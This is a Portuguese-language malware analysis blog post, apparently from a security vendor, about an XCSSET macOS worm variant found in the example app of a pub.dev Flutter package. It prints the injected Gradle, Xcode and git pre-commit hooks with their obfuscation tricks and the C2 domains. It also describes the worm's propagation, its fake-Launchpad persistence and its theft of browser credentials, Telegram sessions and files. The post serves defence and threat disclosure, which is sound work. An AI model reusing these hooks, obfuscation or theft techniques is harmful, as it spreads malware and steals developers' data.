Hoje, o pub.dev junta-se à lista de registos de pacotes nos quais encontrámos malware. Detetámos uma variante do XCSSET escondida no interior de visualizador_universal_de_ficheiros (versão 0.1.5), um pacote de pré-visualização de ficheiros do Flutter disponível no pub.dev com cerca de 500 downloads. Este é o primeiro pacote comprometido que detetámos no pub.dev, o repositório oficial de pacotes para o Dart e o Flutter. Ao contrário do npm recente ataques à Supply chain como talvez já saiba, não se tratou de um caso em que alguém tenha visado deliberadamente esta encomenda.
O XCSSET é um worm do macOS que insere repetidamente um hook de compilação malicioso em todos os projetos Gradle para Android, projetos Xcode e repositórios Git que consiga encontrar numa máquina comprometida. A máquina do responsável pela manutenção foi infetada e, quando este publicou uma nova versão do pacote a partir dessa máquina, os ficheiros infetados foram incluídos na publicação. O pacote do pub.dev remonta a um repositório GitHub comprometido.
Uma pesquisa rápida no GitHub mostra que isto continua a acontecer hoje em dia, com outros mantenedores a publicar ativamente projetos infetados sem se aperceberem disso:

Para um contexto mais alargado sobre o XCSSET, consulte o relatório da Unit 42 intitulado «The Xcode Assassin Returns» e as publicações da Microsoft de março e setembro de 2025.
O que encontrámos na embalagem
visualizador_universal_de_ficheiros é um pacote do pub.dev que fornece widgets de pré-visualização de ficheiros incorporados para aplicações Flutter: PDF, Word, Excel, vídeo, Markdown e texto simples. O código da sua biblioteca Dart encontra-se em lib/ está totalmente limpo. Os ficheiros infetados encontram-se todos dentro da exemplo/ diretoria, que é distribuída no tarball do pub.dev, mas nunca é compilada quando o pacote é utilizado como dependência. Simplesmente adicionar visualizador_universal_de_ficheiros ao seu pubspec.yaml e compilar a sua própria aplicação não despoleta nada. O risco aplica-se a quem clona o repositório e compila explicitamente a aplicação de exemplo localmente. Não se trata de um ataque direcionado ao pacote ou aos respetivos dependentes. O worm simplesmente anexou-se a quaisquer ficheiros de compilação encontrados na máquina infetada do mantenedor, e a maioria dos consumidores do pacote nunca será afetada.
Foram infetadas três configurações de compilação distintas, cada uma injetada de forma independente pelos módulos worm do XCSSET:
example/android/app/build.gradle.kts contém um preBuild hook injetado pelo android_finder módulo:
tasks.all {
if (name.contains("preBuild")) {
doLast {
ProcessBuilder("sh", "-c", "((p(){ `printf xAxd | tr -d A` -p -r; };echo 6563686f...0a | p | sh ) >/dev/null 2>&1 &)").start()
}
}
}printf xAxd | tr -d A reconstrói xxd em runtime para contornar os scanners baseados em strings. O blob hexadecimal descodifica para um comando curl para 5yotmxcc54l9xda[.]ru/a com a tag de campanha p=android_kotlin. Isto é executado silenciosamente em cada compilação do Gradle, com o output descartado.
example/ios/Runner.xcodeproj/project.pbxproj e example/macos/Runner.xcodeproj/project.pbxproj ambos contêm uma PBXBuildRule entrada que é acionada sempre que .md o ficheiro é processado durante uma compilação:
script = "cp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"\nsh -c \"${A3EA261}\"";A3EA261 é uma definição de compilação definida no mesmo ficheiro. Para iOS, está ofuscada em base64 (printf bdase64 | tr -d d), apontando para qdgs232i-q[.]ru com a tag p=xcode_rule. Para macOS, está ofuscada em hexadecimal (printf xxVd | tr -d V), apontando para ejntin6hkjt7gj2[.]ru com a mesma tag. Ambas são acionadas na compilação do projeto.
A cadeia de infeção
O XCSSET é composto por vários estágios e módulos, cada um com uma função específica.
Estágios
- Estágio 1: o hook de compilação contacta o C2 e recebe um script que volta a fazer o pedido com o SO e o nome de utilizador
- Estágio 2: o servidor devolve um script de shell encriptado que recolhe o número de série do hardware e a localização, descarrega o carregador principal para
/tmp/h, compila um pacote de aplicações invisível à volta do mesmo, inicia-o e, em seguida, elimina ambos no espaço de dez segundos - Estágio 3: o carregador é um AppleScript compilado apenas para execução que se decripta a si próprio utilizando AES-256-CBC com uma chave baseada no dia, executando depois o payload decriptado em memória
- Estágio 4: o payload decriptado é o orquestrador principal que gere todos os módulos
Módulos de propagação
android_finder: injeta umpreBuildhook malicioso em todos os projetos Android Gradle na máquina. Qualquer programador que compile um desses projetos também fica infetadogit_finder: escreve um gancho maliciosopre-commitem cada repositório git na máquina. É acionado em cada commitreplicator_finder: injeta uma fase de compilação maliciosa em cada projeto Xcode na máquina. Qualquer programador que compile um projeto fica infetado
Persistência
persist: substitui o mosaico do Launchpad na Dock por um pacote falso que volta a acionar a cadeia sempre que o utilizador clica no mesmo. Sobrevive a reinicializações e não deixa rasto nos locais de persistência padrão
Módulos de roubo
browser_remote: remove a entrada do porta-chaves do Safe Storage do Chrome para intercetar a respetiva chave de encriptação gerada novamente e, em seguida, exfiltra palavras-passe, cookies e tokens de sessão guardadossafari_remote: descarrega um pacote do Safari falso e exfiltra os dados locais do Safarifirefox_data: descarrega um binário nativo e exfiltra as credenciais do Firefoxtdesktop: encerra o Telegram, substitui-o por uma cópia com um cavalo de Troia e visa os dados de sessãonotes_app: aguarda que a aplicação Notas, Lembretes ou Calendário seja aberta e, em seguida, exfiltra os respetivos dadosclipboard: lê e exfiltra o conteúdo da área de transferênciasettings_app: imita as Definições do Sistema e utilizasudopara escalbereitung de privilégiosdata_folders_finder: percorre o diretório principal e exfiltra ficheiros das pastas alvo
Todos os módulos de roubo são obtidos a partir do C2 e executados na memória através de osascript. Nada é gravado no disco. Os dados roubados são encriptados com AES-256-CBC antes de serem enviados para /u.
Como se propaga
Antes de executar qualquer módulo de roubo, o carregador envia três módulos de worm.
android_finder
android_finder pesquisa no diretório principal por ficheiros de compilação do Android:
nice -n 15 find ~ -maxdepth 6 \
\( -type d \( -name Movies -o -name Library ... \) -prune \) \
-o -type f \( -iname 'build.gradle' -o -iname 'build.gradle.kts' \) -printPara cada correspondência, confirma se é um módulo Android real antes de injetar e limpa primeiro qualquer infeção anterior. Suporta ficheiros de compilação Kotlin DSL e Groovy. Qualquer programador que depois compile um desses projetos fica infetado, tal como qualquer pessoa que clone o repositório e o compile a seguir.
git_finder
git_finder encontra todos os .git diretórios na máquina e escreve um gancho (hook) malicioso pre-commit em cada um. A carga útil (payload) do gancho é polimórfica: o domínio C2, o esquema de codificação e a profundidade de aninhamento são todos aleatórios por infeção. O resultado é o seguinte:
#!/usr/bin/env bash ((n(){ base64 --decode | base64 --decode; };echo <blob> | n | sh ) >/dev/null 2>&1 &)Cada commit feito pelo programador, em qualquer um dos seus repositórios, aciona novamente a cadeia completa de forma silenciosa. Se já existir um gancho, o módulo remove as linhas injetadas anteriormente através de sed antes de adicionar o novo conteúdo.
replicator_finder
replicator_finder é o vetor clássico do XCSSET. Analisa os ficheiros project.pbxproj , verifica se existe archiveVersion = e secção PBXShellScriptBuildPhase, e injeta uma fase de compilação Run Script. Qualquer programador que abra e compile um projeto Xcode infetado é atingido. Isto tem sido documentado desde 2020 e continua a fazer parte do conjunto de ferramentas, juntamente com os outros dois vetores.
Persistência oculta na Dock
O persist o módulo responde à questão de saber se isto sobrevive a um reinício. Sobrevive, e de uma forma que evade as verificações de persistência padrão.
Transfere dockutil a partir do C2 (/d/dockutil_arm64 ou /d/dockutil_amd64), assina-o ad-hoc e cria um pacote de aplicação falso em ~/Library/Caches/vyf[.]lttzw[.]snjgwq/. O Info.plist do pacote é corrigido para se mascarar como o Launchpad:
plutil -replace CFBundleDisplayName -string 'Launchpad' <path>/Info.plist
plutil -replace CFBundleIdentifier -string 'com.apple.launchpad.launcher' <path>/Info.plist
plutil -replace LSUIElement -bool YES <path>/Info.plistDe seguida, utiliza dockutil para substituir o ícone real do Launchpad na Dock pelo pacote falso. Ao clicar no Launchpad, é aberto o Launchpad verdadeiro (open -b com.apple.launchpad.launcher) e o script malicioso é executado em simultâneo. A cada reinício, é executado na primeira vez que o utilizador clica no Launchpad.
Módulos de roubo
Com a propagação e a persistência asseguradas, o carregador envia os módulos de roubo. Cada um é obtido a partir de /s/<module> e executado através de osascript -e "$(curl ...)". Nada é gravado no disco.
browser_remote transfere um binário nativo (cd_arm64 ou cd_amd64) a partir do C2, remove o GoogleUpdater e SoftwareUpdate entradas, e executa security delete-generic-password para remover a entrada do porta-chaves do Safe Storage do Chrome. Remover esta entrada força o Chrome a regenerar a sua chave de encriptação, que o binário interceta para desencriptar palavras-passe, cookies e tokens de sessão guardados.
safari_remote coloca um falso pacote (bundle) do Safari em ~/Library/ASafari/ e ~/Library/Caches/com[.]beta[.]Safari e exfiltra os dados locais do Safari.
firefox_data downloads hbdm_arm64 ou hbdm_amd64 e invoca-o com -c password --zip, produzindo um firefox_browser_data.zip carregado para /u.
tdesktop executa killall -9 Telegram, transfere um reempaquetado Telegram.app a partir do C2 e substitui o original com assinatura ad-hoc. O alvo são os dados de sessão do Telegram tanto a partir do caminho clássico (~/Library/Application Support/Telegram Desktop/tdata) como do caminho do container em sandbox.
notes_app aguarda que o Notes, Reminders ou Calendar estejam em execução, instala-se dentro do respetivo pacote (bundle) da aplicação e exfiltra notes_app_data.zip.
clipboard executa um ciclo pbpaste e exfiltra o conteúdo da área de transferência.
settings_app cria um pacote de Definições do Sistema falso listado em "Preferências do Sistema" e "Preferências" no Spotlight, descarrega um binário separado mac_bin_daemon_app do C2 e executa comandos através de sudo -u para a escalação de privilégios.
data_folders_finder percorre o diretório home e exfiltra ficheiros de pastas alvo para /u.
Todos os dados roubados vão para /u via POST multipart, encriptados com uma chave AES-256-CBC.
Como a Aikido detecta isso
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.
Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.
Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.
Indicadores de comprometimento
Domínios C2
5yotmxcc54l9xda[.]ruqdgs232i-q[.]ruejntin6hkjt7gj2[.]ru
Artefactos de ficheiros
project.pbxprojcontendo umPBXBuildRulecomsh -c "${A3EA261}"build.gradleoubuild.gradle.ktscontendo uma invocação de shell obfuscada utilizandoprintf xAxd | tr -d Apara reconstruirxxd.git/hooks/pre-commitcontendobase64 --decode | base64 --decodeouxxd -p -r | xxd -p -r
